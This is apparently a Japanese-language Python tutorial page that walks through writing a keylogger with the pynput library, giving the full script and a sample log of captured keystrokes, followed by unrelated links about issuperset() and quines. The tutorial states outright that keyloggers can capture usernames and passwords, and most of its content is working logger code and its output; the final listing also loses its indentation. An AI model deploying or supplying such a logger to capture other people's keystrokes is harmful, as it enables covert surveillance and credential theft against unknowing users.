Python
 Computer >> コンピューター >  >> プログラミング >> Python

Pythonでキーロガーを設計する


ここでは、Pythonを使用してキーロガーを開発します。しかしその前に、キーロガーとは何ですか?キーロガーは、キーストロークを監視するためのプログラムです。これらのキーストロークはログファイルに保存されます。このキーストロークを使用して、ユーザー名やパスワードなどの機密情報を記録できます。

キーロガーを作成するには、pynputモジュールを使用します。 Pythonの標準ライブラリではないため、インストールする必要があるかもしれません。

pyxhookモジュールのインストール-

pipを使用してpynputをインストールします-

pip install pynput
Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4)
Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)

インストールが成功したことを確認するには、Pythonシェルにモジュールをインポートしてみてください

>>> import pynput
>>>

キーロガーの作成を開始

必要なライブラリがインストールされたら、必要なパッケージとメソッドをインポートします。キーボードを監視するには、pynput.keyboardモジュールのキーとリスナーのメソッドを使用します。また、ロギングモジュールを使用して、キーストロークをファイルに記録します。

from pynput.keyboard import Key, Listener
import logging

次に、ログファイルを保存するパス、ログを保存するモード、および形式を設定します。

log_dir = r"C:/users/username/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

次に、キーを押すための定義を作成し、キーをパラメーターとして受け取る関数on_press()を呼び出しました。

def on_press(key):
   logging.info(str(key))

最後に、Listenerのインスタンスを設定し、そのインスタンスでon_pressメソッドを定義してから、インスタンスをメインスレッドに結合します。

with Listener(on_press=on_press) as listener:
listener.join()

上記のステップを組み合わせることで、最終的なプログラムを作成する段階にあります-

from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()

スクリプトの実行中に、ブラウザーを開いて「hello world、Wikipedia」と入力しようとしました。ログファイルに何が起こったのか見てみましょう-

ご覧のとおり、「keyLog.txt」ファイルがコンピュータのデスクトップに作成されており、そのコンテンツを表示しようとすると、-

2019-01-18 17:06:21,854: Key.cmd
2019-01-18 17:06:22,022: 'd'
2019-01-18 17:06:39,304: 'h'
2019-01-18 17:06:39,435: 'e'
2019-01-18 17:06:39,564: 'l'
2019-01-18 17:06:39,754: 'l'
2019-01-18 17:06:39,943: 'o'
2019-01-18 17:06:40,245: Key.space
2019-01-18 17:06:40,450: 'w'
2019-01-18 17:06:40,536: 'o'
2019-01-18 17:06:40,694: 'r'
2019-01-18 17:06:40,818: 'l'
2019-01-18 17:06:40,943: 'd'
2019-01-18 17:06:43,527: ','
2019-01-18 17:06:44,947: Key.space
2019-01-18 17:06:45,091: 'p'
2019-01-18 17:06:45,342: 'y'
2019-01-18 17:06:45,468: 't'
2019-01-18 17:06:45,580: 'h'
2019-01-18 17:06:45,674: 'o'
2019-01-18 17:06:45,808: 'n'
2019-01-18 17:06:45,872: Key.space
2019-01-18 17:06:48,692: Key.backspace
2019-01-18 17:06:48,891: Key.backspace
2019-01-18 17:06:49,079: Key.backspace
2019-01-18 17:06:49,223: Key.backspace
2019-01-18 17:06:49,405: Key.backspace
2019-01-18 17:06:49,584: Key.backspace
2019-01-18 17:06:49,816: Key.backspace
2019-01-18 17:06:50,004: 'w'
2019-01-18 17:06:50,162: 'i'
2019-01-18 17:06:50,392: 'k'
2019-01-18 17:06:50,572: 'i'
2019-01-18 17:06:51,395: 'p'
2019-01-18 17:06:51,525: 'e'
2019-01-18 17:06:51,741: 'd'
2019-01-18 17:06:51,838: 'i'
2019-01-18 17:06:52,104: 'a'

したがって、ブラウザに入力しようとしたものをすべて確認でき、すべてのキーストロークがこのファイルに保存されます。そこで、ここでPythonで非常に単純なキーロガーを作成しました。


  1. Pythonのissuperset()

    この記事では、Pythonでのissuperset()と、さまざまな分野でのその実装について学習します。 このメソッドは、セットBのすべての要素に引数として渡されるすべての要素セットAが含まれている場合はブール値Trueを返し、Aのすべての要素がBに存在しない場合はfalseを返します。 これは、BがAのスーパーセットである場合、それを意味します returns true; else False 例 いくつかの例を見てみましょう A = {'t','u','t','o','r','i',

  2. PythonでのQuine

    Quineは、入力を受け取らないプログラムですが、出力を生成します。独自のソースコードが表示されます。さらに、Quineにはいくつかの条件があります。プログラム内でソースコードファイルを開くことができません。 サンプルコード a=a=%r;print (a%%a);print (a%a) 出力 a=a=%r;print (a%%a);print (a%a) このクワインはどのように機能していますか? ここでは、単純な文字列フォーマットが機能しています。変数「a」を定義し、a内に「a =%r; print(a %% a)」を格納します。次に、aの値を出力し、%rをaの値に置き換